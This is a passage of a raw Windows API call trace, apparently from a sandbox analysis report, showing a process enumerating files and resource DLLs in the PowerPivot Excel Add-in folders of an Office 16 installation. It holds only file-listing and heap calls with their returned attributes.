hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6aee686, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6aee686, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x75040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfe368d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0280.998] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.020] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.020] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ac3289, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ac3289, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.020] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0281.021] GetProcessHeap () returned 0xaf0000 [0281.021] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.021] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0281.022] GetProcessHeap () returned 0xaf0000 [0281.022] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.024] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa4995f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56ab5a1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56ab5a1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x201030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa806c3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.025] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56f7a52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f2e583, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0281.026] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.028] GetProcessHeap () returned 0xaf0000 [0281.028] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.028] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0281.028] GetProcessHeap () returned 0xaf0000 [0281.028] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0281.030] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.030] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16546d20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16546d20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0281.031] GetProcessHeap () returned 0xaf0000 [0281.031] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.031] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0281.032] GetProcessHeap () returned 0xaf0000 [0281.032] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.034] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.034] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16677f4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1108, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.036] GetProcessHeap () returned 0xaf0000 [0281.036] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.036] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0281.036] GetProcessHeap () returned 0xaf0000 [0281.036] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0281.037] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.038] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.039] GetProcessHeap () returned 0xaf0000 [0281.039] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.039] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0281.039] GetProcessHeap () returned 0xaf0000 [0281.039] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0281.252] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, 